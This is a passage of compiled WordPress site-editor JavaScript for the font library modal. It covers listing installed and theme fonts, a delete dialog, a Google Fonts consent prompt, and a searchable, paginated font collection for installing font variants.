return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
className: "font-library-modal__tabpanel-layout",
children: [isResolvingLibrary && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "font-library-modal__loading",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ProgressBar, {})
}), !isResolvingLibrary && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Navigator, {
initialPath: libraryFontSelected ? '/fontFamily' : '/',
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Navigator.Screen, {
path: "/",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: "8",
children: [notice && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, {
status: notice.type,
onRemove: () => setNotice(null),
children: notice.message
}), !hasFonts && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
as: "p",
children: (0,external_wp_i18n_namespaceObject.__)('No fonts installed.')
}), baseThemeFonts.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", {
className: "font-library-modal__fonts-title",
children: /* translators: Heading for a list of fonts provided by the theme. */
(0,external_wp_i18n_namespaceObject._x)('Theme', 'font source')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
role: "list",
className: "font-library-modal__fonts-list",
children: baseThemeFonts.map(font => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
className: "font-library-modal__fonts-list-item",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_card, {
font: font,
navigatorPath: "/fontFamily",
variantsText: getFontCardVariantsText(font),
onClick: () => {
setNotice(null);
handleSetLibraryFontSelected(font);
}
})
}, font.slug))
})]
}), baseCustomFonts.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", {
className: "font-library-modal__fonts-title",
children: /* translators: Heading for a list of fonts installed by the user. */
(0,external_wp_i18n_namespaceObject._x)('Custom', 'font source')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
role: "list",
className: "font-library-modal__fonts-list",
children: baseCustomFonts.map(font => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
className: "font-library-modal__fonts-list-item",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_card, {
font: font,
navigatorPath: "/fontFamily",
variantsText: getFontCardVariantsText(font),
onClick: () => {
setNotice(null);
handleSetLibraryFontSelected(font);
}
})
}, font.slug))
})]
})]
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Navigator.Screen, {
path: "/fontFamily",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ConfirmDeleteDialog, {
font: libraryFontSelected,
isOpen: isConfirmDeleteOpen,
setIsOpen: setIsConfirmDeleteOpen,
setNotice: setNotice,
uninstallFontFamily: uninstallFontFamily,
handleSetLibraryFontSelected: handleSetLibraryFontSelected
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
justify: "flex-start",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Navigator.BackButton, {
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right : chevron_left,
size: "small",
onClick: () => {
handleSetLibraryFontSelected(null);
setNotice(null);
},
label: (0,external_wp_i18n_namespaceObject.__)('Back')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
level: 2,
size: 13,
className: "edit-site-global-styles-header",
children: libraryFontSelected?.name
})]
}), notice && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
margin: 1
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, {
status: notice.type,
onRemove: () => setNotice(null),
children: notice.message
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
margin: 1
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
margin: 4
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
children: (0,external_wp_i18n_namespaceObject.__)('Choose font variants. Keep in mind that too many variants could make your site slower.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
margin: 4
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 0,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
className: "font-library-modal__select-all",
label: (0,external_wp_i18n_namespaceObject.__)('Select all'),
checked: isSelectAllChecked,
onChange: toggleSelectAll,
indeterminate: isIndeterminate,
__nextHasNoMarginBottom: true
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
margin: 8
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
role: "list",
className: "font-library-modal__fonts-list",
children: getFontFacesToDisplay(libraryFontSelected).map((face, i) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
className: "font-library-modal__fonts-list-item",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(library_font_variant, {
font: libraryFontSelected,
face: face
}, `face${i}`)
}, `face${i}`))
})]
})]
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "flex-end",
className: "font-library-modal__footer",
children: [isInstalling && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ProgressBar, {}), shouldDisplayDeleteButton && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
isDestructive: true,
variant: "tertiary",
onClick: handleUninstallClick,
children: (0,external_wp_i18n_namespaceObject.__)('Delete')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "primary",
onClick: handleUpdate,
disabled: !fontFamiliesHasChanges,
accessibleWhenDisabled: true,
children: (0,external_wp_i18n_namespaceObject.__)('Update')
})]
})]
})]
});
}
function ConfirmDeleteDialog({
font,
isOpen,
setIsOpen,
setNotice,
uninstallFontFamily,
handleSetLibraryFontSelected
}) {
const navigator = (0,external_wp_components_namespaceObject.useNavigator)();
const handleConfirmUninstall = async () => {
setNotice(null);
setIsOpen(false);
try {
await uninstallFontFamily(font);
navigator.goBack();
handleSetLibraryFontSelected(null);
setNotice({
type: 'success',
message: (0,external_wp_i18n_namespaceObject.__)('Font family uninstalled successfully.')
});
} catch (error) {
setNotice({
type: 'error',
message: (0,external_wp_i18n_namespaceObject.__)('There was an error uninstalling the font family.') + error.message
});
}
};
const handleCancelUninstall = () => {
setIsOpen(false);
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
isOpen: isOpen,
cancelButtonText: (0,external_wp_i18n_namespaceObject.__)('Cancel'),
confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Delete'),
onCancel: handleCancelUninstall,
onConfirm: handleConfirmUninstall,
size: "medium",
children: font && (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: Name of the font. */
(0,external_wp_i18n_namespaceObject.__)('Are you sure you want to delete "%s" font and all its variants and assets?'), font.name)
});
}
/* harmony default export */ const installed_fonts = (InstalledFonts);
;// ./node_modules/@wordpress/icons/build-module/library/next.js
/**
* WordPress dependencies
*/
const next = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M6.6 6L5.4 7l4.5 5-4.5 5 1.1 1 5.5-6-5.4-6zm6 0l-1.1 1 4.5 5-4.5 5 1.1 1 5.5-6-5.5-6z"
})
});
/* harmony default export */ const library_next = (next);
;// ./node_modules/@wordpress/icons/build-module/library/previous.js
/**
* WordPress dependencies
*/
const previous = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M11.6 7l-1.1-1L5 12l5.5 6 1.1-1L7 12l4.6-5zm6 0l-1.1-1-5.5 6 5.5 6 1.1-1-4.6-5 4.6-5z"
})
});
/* harmony default export */ const library_previous = (previous);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/filter-fonts.js
/**
* Filters a list of fonts based on the specified filters.
*
* This function filters a given array of fonts based on the criteria provided in the filters object.
* It supports filtering by category and a search term. If the category is provided and not equal to 'all',
* the function filters the fonts array to include only those fonts that belong to the specified category.
* Additionally, if a search term is provided, it filters the fonts array to include only those fonts
* whose name includes the search term, case-insensitively.
*
* @param {Array} fonts Array of font objects in font-collection schema fashion to be filtered. Each font object should have a 'categories' property and a 'font_family_settings' property with a 'name' key.
* @param {Object} filters Object containing the filter criteria. It should have a 'category' key and/or a 'search' key.
* The 'category' key is a string representing the category to filter by.
* The 'search' key is a string representing the search term to filter by.
* @return {Array} Array of filtered font objects based on the provided criteria.
*/
function filterFonts(fonts, filters) {
const {
category,
search
} = filters;
let filteredFonts = fonts || [];
if (category && category !== 'all') {
filteredFonts = filteredFonts.filter(font => font.categories.indexOf(category) !== -1);
}
if (search) {
filteredFonts = filteredFonts.filter(font => font.font_family_settings.name.toLowerCase().includes(search.toLowerCase()));
}
return filteredFonts;
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/fonts-outline.js
function getFontsOutline(fonts) {
return fonts.reduce((acc, font) => ({
...acc,
[font.slug]: (font?.fontFace || []).reduce((faces, face) => ({
...faces,
[`${face.fontStyle}-${face.fontWeight}`]: true
}), {})
}), {});
}
function isFontFontFaceInOutline(slug, face, outline) {
if (!face) {
return !!outline[slug];
}
return !!outline[slug]?.[`${face.fontStyle}-${face.fontWeight}`];
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/google-fonts-confirm-dialog.js
/**
* WordPress dependencies
*/
function GoogleFontsConfirmDialog() {
const handleConfirm = () => {
// eslint-disable-next-line no-undef
window.localStorage.setItem('wp-font-library-google-fonts-permission', 'true');
window.dispatchEvent(new Event('storage'));
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "font-library__google-fonts-confirm",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Card, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.CardBody, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
level: 2,
children: (0,external_wp_i18n_namespaceObject.__)('Connect to Google Fonts')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
margin: 6
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
as: "p",
children: (0,external_wp_i18n_namespaceObject.__)('To install fonts from Google you must give permission to connect directly to Google servers. The fonts you install will be downloaded from Google and stored on your site. Your site will then use these locally-hosted fonts.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
margin: 3
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
as: "p",
children: (0,external_wp_i18n_namespaceObject.__)('You can alternatively upload files directly on the Upload tab.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
margin: 6
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "primary",
onClick: handleConfirm,
children: (0,external_wp_i18n_namespaceObject.__)('Allow access to Google Fonts')
})]
})
})
});
}
/* harmony default export */ const google_fonts_confirm_dialog = (GoogleFontsConfirmDialog);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/collection-font-variant.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function CollectionFontVariant({
face,
font,
handleToggleVariant,
selected
}) {
const handleToggleActivation = () => {
if (font?.fontFace) {
handleToggleVariant(font, face);
return;
}
handleToggleVariant(font);
};
const displayName = font.name + ' ' + getFontFaceVariantName(face);
const checkboxId = (0,external_wp_element_namespaceObject.useId)();
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "font-library-modal__font-card",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
justify: "flex-start",
align: "center",
gap: "1rem",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
checked: selected,
onChange: handleToggleActivation,
__nextHasNoMarginBottom: true,
id: checkboxId
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("label", {
htmlFor: checkboxId,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_demo, {
font: face,
text: displayName,
onClick: handleToggleActivation
})
})]
})
});
}
/* harmony default export */ const collection_font_variant = (CollectionFontVariant);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/font-collection.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const DEFAULT_CATEGORY = {
slug: 'all',
name: (0,external_wp_i18n_namespaceObject._x)('All', 'font categories')
};
const LOCAL_STORAGE_ITEM = 'wp-font-library-google-fonts-permission';
const MIN_WINDOW_HEIGHT = 500;
function FontCollection({
slug
}) {
var _selectedCollection$c;
const requiresPermission = slug === 'google-fonts';
const getGoogleFontsPermissionFromStorage = () => {
return window.localStorage.getItem(LOCAL_STORAGE_ITEM) === 'true';
};
const [selectedFont, setSelectedFont] = (0,external_wp_element_namespaceObject.useState)(null);
const [notice, setNotice] = (0,external_wp_element_namespaceObject.useState)(false);
const [fontsToInstall, setFontsToInstall] = (0,external_wp_element_namespaceObject.useState)([]);
const [page, setPage] = (0,external_wp_element_namespaceObject.useState)(1);
const [filters, setFilters] = (0,external_wp_element_namespaceObject.useState)({});
const [renderConfirmDialog, setRenderConfirmDialog] = (0,external_wp_element_namespaceObject.useState)(requiresPermission && !getGoogleFontsPermissionFromStorage());
const {
collections,
getFontCollection,
installFonts,
isInstalling
} = (0,external_wp_element_namespaceObject.useContext)(FontLibraryContext);
const selectedCollection = collections.find(collection => collection.slug === slug);
(0,external_wp_element_namespaceObject.useEffect)(() => {
const handleStorage = () => {
setRenderConfirmDialog(requiresPermission && !getGoogleFontsPermissionFromStorage());
};
handleStorage();
window.addEventListener('storage', handleStorage);
return () => window.removeEventListener('storage', handleStorage);
}, [slug, requiresPermission]);
const revokeAccess = () => {
window.localStorage.setItem(LOCAL_STORAGE_ITEM, 'false');
window.dispatchEvent(new Event('storage'));
};
(0,external_wp_element_namespaceObject.useEffect)(() => {
const fetchFontCollection = async () => {
try {
await getFontCollection(slug);
resetFilters();
} catch (e) {
if (!notice) {
setNotice({
type: 'error',
message: e?.message
});
}
}
};
fetchFontCollection();
}, [slug, getFontCollection, setNotice, notice]);
(0,external_wp_element_namespaceObject.useEffect)(() => {
setSelectedFont(null);
}, [slug]);
(0,external_wp_element_namespaceObject.useEffect)(() => {
// If the selected fonts change, reset the selected fonts to install
setFontsToInstall([]);
}, [selectedFont]);
const collectionFonts = (0,external_wp_element_namespaceObject.useMemo)(() => {
var _selectedCollection$f;
return (_selectedCollection$f = selectedCollection?.font_families) !== null && _selectedCollection$f !== void 0 ? _selectedCollection$f : [];
}, [selectedCollection]);
const collectionCategories = (_selectedCollection$c = selectedCollection?.categories) !== null && _selectedCollection$c !== void 0 ? _selectedCollection$c : [];
const categories = [DEFAULT_CATEGORY, ...collectionCategories];
const fonts = (0,external_wp_element_namespaceObject.useMemo)(() => filterFonts(collectionFonts, filters), [collectionFonts, filters]);
const isLoading = !selectedCollection?.font_families && !notice;
// NOTE: The height of the font library modal unavailable to use for rendering font family items is roughly 417px
// The height of each font family item is 61px.
const windowHeight = Math.max(window.innerHeight, MIN_WINDOW_HEIGHT);
const pageSize = Math.floor((windowHeight - 417) / 61);
const totalPages = Math.ceil(fonts.length / pageSize);
const itemsStart = (page - 1) * pageSize;
const itemsLimit = page * pageSize;
const items = fonts.slice(itemsStart, itemsLimit);
const handleCategoryFilter = category => {
setFilters({
...filters,
category
});
setPage(1);
};
const handleUpdateSearchInput = value => {
setFilters({
...filters,
search: value
});
setPage(1);
};
const debouncedUpdateSearchInput = (0,external_wp_compose_namespaceObject.debounce)(handleUpdateSearchInput, 300);
const resetFilters = () => {
setFilters({});
setPage(1);
};
const handleToggleVariant = (font, face) => {
const newFontsToInstall = toggleFont(font, face, fontsToInstall);
setFontsToInstall(newFontsToInstall);
};
const fontToInstallOutline = getFontsOutline(fontsToInstall);
const resetFontsToInstall = () => {
setFontsToInstall([]);
};
const selectFontCount = fontsToInstall.length > 0 ? fontsToInstall[0]?.fontFace?.length : 0;
// Check if any fonts are selected.
const isIndeterminate = selectFontCount > 0 && selectFontCount !== selectedFont?.fontFace?.length;
// Check if all fonts are selected.
const isSelectAllChecked = selectFontCount === selectedFont?.fontFace?.length;
// Toggle select all fonts.
const toggleSelectAll = () => {
const newFonts = isSelectAllChecked ? [] : [selectedFont];
setFontsToInstall(newFonts);
};
const handleInstall = async () => {
setNotice(null);
const fontFamily = fontsToInstall[0];
try {
if (fontFamily?.fontFace) {
await Promise.all(fontFamily.fontFace.map(async fontFace => {
if (fontFace.src) {
fontFace.file = await downloadFontFaceAssets(fontFace.src);
}
}));
}
} catch (error) {
// If any of the fonts fail to download,
// show an error notice and stop the request from being sent.
setNotice({
type: 'error',
message: (0,external_wp_i18n_namespaceObject.__)('Error installing the fonts, could not be downloaded.')
});
return;
}
try {
await installFonts([fontFamily]);
setNotice({
type: 'success',
message: (0,external_wp_i18n_namespaceObject.__)('Fonts were installed successfully.')
});
} catch (error) {
setNotice({
type: 'error',
message: error.message
});
}
resetFontsToInstall();
};
const getSortedFontFaces = fontFamily => {
if (!fontFamily) {
return [];
}
if (!fontFamily.fontFace || !fontFamily.fontFace.length) {
return [{
fontFamily: fontFamily.fontFamily,
fontStyle: 'normal',
fontWeight: '400'
}];
}
return sortFontFaces(fontFamily.fontFace);
};
if (renderConfirmDialog) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(google_fonts_confirm_dialog, {});
}
const ActionsComponent = () => {
if (slug !== 'google-fonts' || renderConfirmDialog || selectedFont) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
icon: more_vertical,
label: (0,external_wp_i18n_namespaceObject.__)('Actions'),
popoverProps: {
position: 'bottom left'
},
controls: [{
title: (0,external_wp_i18n_namespaceObject.__)('Revoke access to Google Fonts'),
onClick: revokeAccess
}]
});
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
className: "font-library-modal__tabpanel-layout",
children: [isLoading && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "font-library-modal__loading",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ProgressBar, {})
}), !isLoading && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Navigator, {
initialPath: "/",
className: "font-library-modal__tabpanel-layout",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Navigator.Screen, {
path: "/",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "space-between",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
level: 2,
size: 13,
children: selectedCollection.name
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
children: selectedCollection.description
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionsComponent, {})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
margin: 4
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SearchControl, {
className: "font-library-modal__search",
value: filters.search,
placeholder: (0,external_wp_i18n_namespaceObject.__)('Font name…'),
label: (0,external_wp_i18n_namespaceObject.__)('Search'),
onChange: debouncedUpdateSearchInput,
__nextHasNoMarginBottom: true,
hideLabelFromVision: false
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SelectControl, {
__nextHasNoMarginBottom: true,
__next40pxDefaultSize: true,
label: (0,external_wp_i18n_namespaceObject.__)('Category'),
value: filters.category,
onChange: handleCategoryFilter,
children: categories && categories.map(category => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("option", {
value: category.slug,
children: category.name
}, category.slug))
})
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
margin: 4
}), !!selectedCollection?.font_families?.length && !fonts.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
children: (0,external_wp_i18n_namespaceObject.__)('No fonts found. Try with a different search term')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "font-library-modal__fonts-grid__main",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
role: "list",
className: "font-library-modal__fonts-list",
children: items.map(font => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
className: "font-library-modal__fonts-list-item",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_card, {
font: font.font_family_settings,
navigatorPath: "/fontFamily",
onClick: () => {
setSelectedFont(font.font_family_settings);
}
})
}, font.font_family_settings.slug))
})
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Navigator.Screen, {
path: "/fontFamily",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
justify: "flex-start",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Navigator.BackButton, {
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right : chevron_left,
size: "small",
onClick: () => {
setSelectedFont(null);
setNotice(null);
},
label: (0,external_wp_i18n_namespaceObject.__)('Back')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
level: 2,
size: 13,
className: "edit-site-global-styles-header",
children: selectedFont?.name
})]
}), notice && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
margin: 1
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, {
status: notice.type,
onRemove: () => setNotice(null),
children: notice.message
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
margin: 1
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
margin: 4
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
children: (0,external_wp_i18n_namespaceObject.__)('Select font variants to install.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
margin: 4
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
className: "font-library-modal__select-all",
label: (0,external_wp_i18n_namespaceObject.__)('Select all'),
checked: isSelectAllChecked,
onChange: toggleSelectAll,
indeterminate: isIndeterminate,
__nextHasNoMarginBottom: true
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 0,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
role: "list",
className: "font-library-modal__fonts-list",
children: getSortedFontFaces(selectedFont).map((face, i) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
className: "font-library-modal__fonts-list-item",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(collection_font_variant, {
font: selectedFont,
face: face,
handleToggleVariant: handleToggleVariant,
selected: isFontFontFaceInOutline(selectedFont.slug, selectedFont.fontFace ? face : null,
// If the font has no fontFace, we want to check if the font is in the outline
fontToInstallOutline)
})
}, `face${i}`))
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
margin: 16
})]
})]
}), selectedFont && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, {
justify: "flex-end",
className: "font-library-modal__footer",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "primary",
onClick: handleInstall,
isBusy: isInstalling,
disabled: fontsToInstall.length === 0 || isInstalling,
accessibleWhenDisabled: true,
children: (0,external_wp_i18n_namespaceObject.__)('Install')
})
}), !selectedFont && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
expanded: false,
className: "font-library-modal__footer",
justify: "end",
spacing: 6,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "flex-start",
expanded: false,
spacing: 1,
className: "font-library-modal__page-selection",
children: (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.sprintf)(
// translators: 1: Current page number, 2: Total number of pages.
(0,external_wp_i18n_namespaceObject._x)('<div>Page</div>%1$s<div>of %2$s</div>', 'paging'), '<CurrentPage />', totalPages), {
div: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
"aria-hidden": true
}),
